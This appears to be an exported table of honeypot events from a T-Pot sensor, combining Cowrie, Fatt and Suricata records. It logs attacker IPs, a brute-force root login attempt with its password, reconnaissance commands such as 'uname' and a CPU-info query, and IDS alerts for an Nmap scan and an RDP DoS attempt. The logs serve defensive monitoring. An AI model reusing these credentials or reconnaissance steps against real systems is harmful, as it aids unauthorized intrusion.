36755	150.109.115.128	109.199.241.180	Cowrie	2021-09-20 15:16:46.026253+03	2021-09-20 15:30:02.695867+03	{"_id": "dQYjA3wBvYTbRNuEI2RB", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "150.109.115.128", "latitude": 22.25, "location": {"lat": 22.25, "lon": 114.1667}, "timezone": "Asia/Hong_Kong", "longitude": 114.1667, "country_name": "Hong Kong", "country_code2": "HK", "country_code3": "HK", "continent_code": "AS"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "150.109.115.128", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "d2d26eabc461", "@version": "1", "timestamp": "2021-09-20T12:16:46.026253Z", "@timestamp": "2021-09-20T12:16:46.026Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	HK
36757	81.71.14.9	109.199.241.180	Fatt	2021-09-20 15:16:46.450314+03	2021-09-20 15:30:02.698869+03	{"_id": "eAYjA3wBvYTbRNuEJWRM", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "81.71.14.9", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "81.71.14.9", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 60272, "dest_port": 22, "timestamp": "2021-09-20T12:16:46.450314", "@timestamp": "2021-09-20T12:16:46.450Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	CN
36758	150.109.115.128	109.199.241.180	Cowrie	2021-09-20 15:16:46.918681+03	2021-09-20 15:30:02.700869+03	{"_id": "ewYjA3wBvYTbRNuEJ2Qp", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "150.109.115.128", "latitude": 22.25, "location": {"lat": 22.25, "lon": 114.1667}, "timezone": "Asia/Hong_Kong", "longitude": 114.1667, "country_name": "Hong Kong", "country_code2": "HK", "country_code3": "HK", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "150.109.115.128", "eventid": "cowrie.login.failed", "message": "login attempt [root/!Qaz2wsx] failed", "session": "d2d26eabc461", "@version": "1", "password": "!Qaz2wsx", "username": "root", "timestamp": "2021-09-20T12:16:46.918681Z", "@timestamp": "2021-09-20T12:16:46.918Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	HK
36759	81.71.14.9	109.199.241.180	Cowrie	2021-09-20 15:17:07.968002+03	2021-09-20 15:30:02.701867+03	{"_id": "8wYjA3wBvYTbRNuEeWRB", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 197, "type": "Cowrie", "geoip": {"ip": "81.71.14.9", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326", "src_ip": "81.71.14.9", "ttylog": "log/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326 after 0 seconds", "session": "ca00cf87f2d1", "@version": "1", "duration": 0.5551257133483887, "duplicate": true, "timestamp": "2021-09-20T12:17:07.968002Z", "@timestamp": "2021-09-20T12:17:07.968Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	CN
36760	81.71.14.9	109.199.241.180	Cowrie	2021-09-20 15:17:08.916479+03	2021-09-20 15:30:02.703871+03	{"_id": "9QYjA3wBvYTbRNuEfWQr", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 8, "type": "Cowrie", "geoip": {"ip": "81.71.14.9", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d", "src_ip": "81.71.14.9", "ttylog": "log/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d after 0 seconds", "session": "ca00cf87f2d1", "@version": "1", "duration": 0.5533723831176758, "duplicate": true, "timestamp": "2021-09-20T12:17:08.916479Z", "@timestamp": "2021-09-20T12:17:08.916Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	CN
36761	81.71.14.9	109.199.241.180	Cowrie	2021-09-20 15:17:09.302157+03	2021-09-20 15:30:02.704871+03	{"_id": "9wYjA3wBvYTbRNuEfWQr", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.71.14.9", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "cat /proc/cpuinfo | grep model | grep name | wc -l", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.71.14.9", "eventid": "cowrie.command.input", "message": "CMD: cat /proc/cpuinfo | grep model | grep name | wc -l", "session": "ca00cf87f2d1", "@version": "1", "timestamp": "2021-09-20T12:17:09.302157Z", "@timestamp": "2021-09-20T12:17:09.302Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	CN
36771	81.71.14.9	109.199.241.180	Cowrie	2021-09-20 15:17:04.548344+03	2021-09-20 15:30:02.71887+03	{"_id": "5AYjA3wBvYTbRNuEaWSe", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-alpha-lsb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.71.14.9", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.71.14.9", "eventid": "cowrie.session.params", "message": [], "session": "ca00cf87f2d1", "@version": "1", "timestamp": "2021-09-20T12:17:04.548344Z", "@timestamp": "2021-09-20T12:17:04.548Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	CN
36762	79.124.62.82	109.199.241.180	Suricata	2021-09-20 15:17:09.951691+03	2021-09-20 15:30:02.70587+03	{"_id": "-AYjA3wBvYTbRNuEfmQr", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:17:09.951691+0000", "pkts_toclient": 0, "pkts_toserver": 1, "bytes_toclient": 0, "bytes_toserver": 60}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 3, "action": "allowed", "category": "Attempted Information Leak", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 2, "signature": "ET SCAN NMAP -sS window 1024", "signature_id": 2009582}, "geoip": {"ip": "79.124.62.82", "asn": 50360, "as_org": "Tamatiya EOOD", "latitude": 42.7, "location": {"lat": 42.7, "lon": 23.3333}, "timezone": "Europe/Sofia", "longitude": 23.3333, "country_name": "Bulgaria", "country_code2": "BG", "country_code3": "BG", "continent_code": "EU"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "79.124.62.82", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 1424058613073291, "payload": "", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ET.Evil", "ET.DshieldIP"]}, "src_port": 59168, "dest_port": 3389, "timestamp": "2021-09-20T12:17:09.951691Z", "@timestamp": "2021-09-20T12:17:09.951Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	known attacker	BG
36763	79.124.62.82	109.199.241.180	Suricata	2021-09-20 15:17:09.951691+03	2021-09-20 15:30:02.70787+03	{"_id": "-QYjA3wBvYTbRNuEfmQs", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:17:09.951691+0000", "pkts_toclient": 0, "pkts_toserver": 1, "bytes_toclient": 0, "bytes_toserver": 60}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 6036, "action": "allowed", "category": "Misc Attack", "metadata": {"tag": ["Dshield"], "created_at": ["2010_12_30"], "deployment": ["Perimeter"], "updated_at": ["2021_09_17"], "attack_target": ["Any"], "affected_product": ["Any"], "signature_severity": ["Major"]}, "severity": 2, "signature": "ET DROP Dshield Block Listed Source group 1", "signature_id": 2402000}, "geoip": {"ip": "79.124.62.82", "asn": 50360, "as_org": "Tamatiya EOOD", "latitude": 42.7, "location": {"lat": 42.7, "lon": 23.3333}, "timezone": "Europe/Sofia", "longitude": 23.3333, "country_name": "Bulgaria", "country_code2": "BG", "country_code3": "BG", "continent_code": "EU"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "79.124.62.82", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 1424058613073291, "payload": "", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ET.Evil", "ET.DshieldIP"]}, "src_port": 59168, "dest_port": 3389, "timestamp": "2021-09-20T12:17:09.951691Z", "@timestamp": "2021-09-20T12:17:09.951Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	known attacker	BG
36764	79.124.62.82	109.199.241.180	Suricata	2021-09-20 15:17:09.951691+03	2021-09-20 15:30:02.708871+03	{"_id": "-gYjA3wBvYTbRNuEfmQs", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:17:09.951691+0000", "pkts_toclient": 0, "pkts_toserver": 1, "bytes_toclient": 0, "bytes_toserver": 60}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 68859, "action": "allowed", "category": "Misc Attack", "metadata": {"tag": ["CINS"], "created_at": ["2013_10_08"], "deployment": ["Perimeter"], "updated_at": ["2021_09_17"], "attack_target": ["Any"], "affected_product": ["Any"], "signature_severity": ["Major"]}, "severity": 2, "signature": "ET CINS Active Threat Intelligence Poor Reputation IP group 93", "signature_id": 2403392}, "geoip": {"ip": "79.124.62.82", "asn": 50360, "as_org": "Tamatiya EOOD", "latitude": 42.7, "location": {"lat": 42.7, "lon": 23.3333}, "timezone": "Europe/Sofia", "longitude": 23.3333, "country_name": "Bulgaria", "country_code2": "BG", "country_code3": "BG", "continent_code": "EU"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "79.124.62.82", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 1424058613073291, "payload": "", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ET.Evil", "ET.DshieldIP"]}, "src_port": 59168, "dest_port": 3389, "timestamp": "2021-09-20T12:17:09.951691Z", "@timestamp": "2021-09-20T12:17:09.951Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	known attacker	BG
36765	79.124.62.82	109.199.241.180	Suricata	2021-09-20 15:17:09.961746+03	2021-09-20 15:30:02.70987+03	{"_id": "-wYjA3wBvYTbRNuEfmQs", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:17:09.951691+0000", "pkts_toclient": 1, "pkts_toserver": 2, "bytes_toclient": 58, "bytes_toserver": 120}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "cve_id": "CVE-2012-0152", "category": "Attempted Denial of Service", "metadata": {"created_at": ["2012_03_13"], "updated_at": ["2012_03_13"]}, "severity": 2, "signature": "ET DOS Microsoft Remote Desktop (RDP) Syn then Reset 30 Second DoS Attempt", "signature_id": 2014384}, "geoip": {"ip": "79.124.62.82", "asn": 50360, "as_org": "Tamatiya EOOD", "latitude": 42.7, "location": {"lat": 42.7, "lon": 23.3333}, "timezone": "Europe/Sofia", "longitude": 23.3333, "country_name": "Bulgaria", "country_code2": "BG", "country_code3": "BG", "continent_code": "EU"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "79.124.62.82", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 1424058613073291, "payload": "", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ET.Evil", "ET.DshieldIP"]}, "src_port": 59168, "dest_port": 3389, "timestamp": "2021-09-20T12:17:09.961746Z", "@timestamp": "2021-09-20T12:17:09.961Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	known attacker	BG
36766	81.71.14.9	109.199.241.180	Cowrie	2021-09-20 15:17:10.833023+03	2021-09-20 15:30:02.711871+03	{"_id": "BQYjA3wBvYTbRNuEhGX9", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 44, "type": "Cowrie", "geoip": {"ip": "81.71.14.9", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39", "src_ip": "81.71.14.9", "ttylog": "log/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39 after 0 seconds", "session": "ca00cf87f2d1", "@version": "1", "duration": 0.5549871921539307, "duplicate": true, "timestamp": "2021-09-20T12:17:10.833023Z", "@timestamp": "2021-09-20T12:17:10.833Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	CN
36767	81.71.14.9	109.199.241.180	Cowrie	2021-09-20 15:17:11.228291+03	2021-09-20 15:30:02.713871+03	{"_id": "BAYjA3wBvYTbRNuEhGX8", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.71.14.9", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "uname", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.71.14.9", "eventid": "cowrie.command.input", "message": "CMD: uname", "session": "ca00cf87f2d1", "@version": "1", "timestamp": "2021-09-20T12:17:11.228291Z", "@timestamp": "2021-09-20T12:17:11.228Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	CN
36768	81.71.14.9	109.199.241.180	Cowrie	2021-09-20 15:17:12.756991+03	2021-09-20 15:30:02.714871+03	{"_id": "CAYjA3wBvYTbRNuEiGXl", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 74, "type": "Cowrie", "geoip": {"ip": "81.71.14.9", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15", "src_ip": "81.71.14.9", "ttylog": "log/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15 after 0 seconds", "session": "ca00cf87f2d1", "@version": "1", "duration": 0.557558536529541, "duplicate": true, "timestamp": "2021-09-20T12:17:12.756991Z", "@timestamp": "2021-09-20T12:17:12.756Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	CN
36769	81.71.14.9	109.199.241.180	Cowrie	2021-09-20 15:17:03.17932+03	2021-09-20 15:30:02.71587+03	{"_id": "4AYjA3wBvYTbRNuEZWS1", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 26, "type": "Cowrie", "geoip": {"ip": "81.71.14.9", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851", "src_ip": "81.71.14.9", "ttylog": "log/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851 after 0 seconds", "session": "ca00cf87f2d1", "@version": "1", "duration": 0.554100513458252, "duplicate": true, "timestamp": "2021-09-20T12:17:03.179320Z", "@timestamp": "2021-09-20T12:17:03.179Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	CN
36770	13.107.21.200	109.199.241.180	Suricata	2021-09-20 15:17:03.108382+03	2021-09-20 15:30:02.717871+03	{"_id": "4gYjA3wBvYTbRNuEZmS6", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:17:03.108382+0000", "pkts_toclient": 0, "pkts_toserver": 1, "bytes_toclient": 0, "bytes_toserver": 60}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA STREAM RST recv but no session", "signature_id": 2210041}, "geoip": {"ip": "13.107.21.200", "asn": 8068, "as_org": "Microsoft Corporation", "latitude": 37.751, "location": {"lat": 37.751, "lon": -97.822}, "timezone": "America/Chicago", "longitude": -97.822, "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "proto": "TCP", "src_ip": "13.107.21.200", "stream": 0, "dest_ip": "192.168.20.147", "flow_id": 212418273716062, "payload": "", "@version": "1", "in_iface": "enp5s0", "src_port": 443, "dest_port": 62630, "timestamp": "2021-09-20T12:17:03.108382Z", "@timestamp": "2021-09-20T12:17:03.108Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	US
36772	81.71.14.9	109.199.241.180	Cowrie	2021-09-20 15:17:05.526638+03	2021-09-20 15:30:02.720869+03	{"_id": "5wYjA3wBvYTbRNuEbWSH", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-alpha-lsb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.71.14.9", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.71.14.9", "eventid": "cowrie.session.params", "message": [], "session": "ca00cf87f2d1", "@version": "1", "timestamp": "2021-09-20T12:17:05.526638Z", "@timestamp": "2021-09-20T12:17:05.526Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	CN
36773	81.71.14.9	109.199.241.180	Cowrie	2021-09-20 15:17:05.52717+03	2021-09-20 15:30:02.72187+03	{"_id": "6AYjA3wBvYTbRNuEbWSH", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.71.14.9", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "ls -lh $(which ls)", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.71.14.9", "eventid": "cowrie.command.input", "message": "CMD: ls -lh $(which ls)", "session": "ca00cf87f2d1", "@version": "1", "timestamp": "2021-09-20T12:17:05.527170Z", "@timestamp": "2021-09-20T12:17:05.527Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	CN
